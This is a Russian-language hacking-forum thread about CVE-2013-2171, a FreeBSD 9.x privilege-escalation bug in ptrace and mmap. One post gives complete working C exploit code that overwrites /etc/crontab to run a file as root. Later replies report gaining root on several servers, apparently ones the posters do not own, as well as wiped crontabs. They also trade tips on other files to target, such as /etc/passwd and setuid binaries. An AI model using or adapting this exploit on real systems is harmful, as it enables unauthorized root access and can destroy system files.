Старый 18.06.2013, 12:46   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию CVE-2013-2171 FreeBSD 9.0+ Privilege escalation via mmap

CVE-2013-2171

Код:
Affects:        FreeBSD 9.0 and later
Corrected:      2013-06-18 09:04:19 UTC (stable/9, 9.1-STABLE)
                2013-06-18 09:05:51 UTC (releng/9.1, 9.1-RELEASE-p4)
http://www.freebsd.org/security/advi...13:06.mmap.asc

http://svnweb.freebsd.org/base?view=...evision=251902

На первый взгляд, эксплойт не заставит себя долго ждать.

Цитата:
Fix a bug that allowed a tracing process (e.g. gdb) to write to a memory-mapped file in the traced process's address space even if neither the traced process nor the tracing process had write access to that file.
SynQ вне форума   Ответить с цитированием
Старый 18.06.2013, 13:50   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Хех, работает
Жирнющий баг.
SynQ вне форума   Ответить с цитированием
Старый 18.06.2013, 19:17   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Код:
/* 
* CVE-2013-2171 FreeBSD 9.0+ Privilege escalation via mmap
*
* poc by SynQ, rdot.org, 6/2013
*
* don't forget to cp /etc/crontab /tmp
*
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/types.h>

char sc[]="*\t*\t*\t*\t*\troot\t/tmp/bukeke\n#";

void child() {
  int status;

  status = ptrace(PT_TRACE_ME, 0, 0, 0);
  if (status != 0)
     printf("child ptrace error\n");
  exit(1);
}

int main() {
  int pid, fd, i;
  char *addr;

  fd = open("/etc/crontab", O_RDONLY);
  if (fd<0) {
     printf("open failed\n");
     exit(1);
  }

  addr = mmap(0, 4096, PROT_READ, MAP_SHARED, fd, 0);
  if (addr == MAP_FAILED) {
     printf("mmap fault\n");
     exit(1);
     }

  pid = fork();
  if (pid == -1) {
     printf("fork failed\n");
     exit(1);
     }
  else if (pid == 0)
     child();

  ptrace(PT_ATTACH, pid, 0, 0);
  if (wait(0) == -1) {
     printf("wait failed\n");
     exit(1);
     }
  printf("writing shellcode...\n");

  for(i=0; i < sizeof(sc)/4; i++)
     ptrace(PT_WRITE_D, pid, addr+i*4, *(int*)&sc[i*4]);

  ptrace(PT_DETACH, pid, 0, 0);
  if (wait(0) == -1) {
     printf("wait2 failed\n");
     exit(1);
     }

  printf("done.\n");
  return 0;
}

Последний раз редактировалось SynQ; 18.06.2013 в 20:56..
SynQ вне форума   Ответить с цитированием
Старый 18.06.2013, 22:03   #4
banana
 
Аватар для banana
 
Регистрация: 05.07.2010
Сообщений: 29
Репутация: 3
По умолчанию

FreeBSD 9.1-STABLE FreeBSD 9.1-STABLE #0: Thu Jan 10 15:57:22 MSK 2013 - wait2 failed
banana вне форума   Ответить с цитированием
Старый 18.06.2013, 23:40   #5
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

9.1-RELEASE-p3 Apr 29 18:27:25 UTC 2013
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
рандомно на 5 серверах рут .. воу воу полегче))
не забываем чистить кронтаб
l1ght вне форума   Ответить с цитированием
Старый 19.06.2013, 06:28   #6
vp$
 
Аватар для vp$
 
Регистрация: 13.07.2010
Сообщений: 70
Репутация: 8
По умолчанию

рандомно на 5 серваках ... не один не пробил, на парочке затерся кронтаб под ноль
l1ght, поделись секретом успеха
vp$ вне форума   Ответить с цитированием
Старый 19.06.2013, 06:41   #7
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

Цитата:
Сообщение от vp$ Посмотреть сообщение
рандомно на 5 серваках ... не один не пробил, на парочке затерся кронтаб под ноль
l1ght, поделись секретом успеха
см. mount, мейби попадаются рид онли файловые системы, писать можно не только в кронтаб..))
l1ght вне форума   Ответить с цитированием
Старый 19.06.2013, 11:08   #8
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

SynQ крут, спасибо за эксплоит )
9.1-RELEASE-p1 2013
root

Последний раз редактировалось euro; 19.06.2013 в 11:10..
euro вне форума   Ответить с цитированием
Старый 19.06.2013, 11:25   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Если нет уверенности, что сработает, можно сначала создать самому файл, сделать chmod -x и попробовать с ним вместо кронтаба.

Первой идеей было править /etc/passwd, но overxor подсказал про crontab, что удобней, еще можно попробовать переписать .text суидника, но не проверял.
SynQ вне форума   Ответить с цитированием
Старый 19.06.2013, 11:27   #10
SamCro
 
Регистрация: 14.06.2013
Сообщений: 3
Репутация: 0
По умолчанию

Haha ^^

Good Job SynQ
SamCro вне форума   Ответить с цитированием
Ответ

Метки
exploits, freebsd, privilege escalation

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot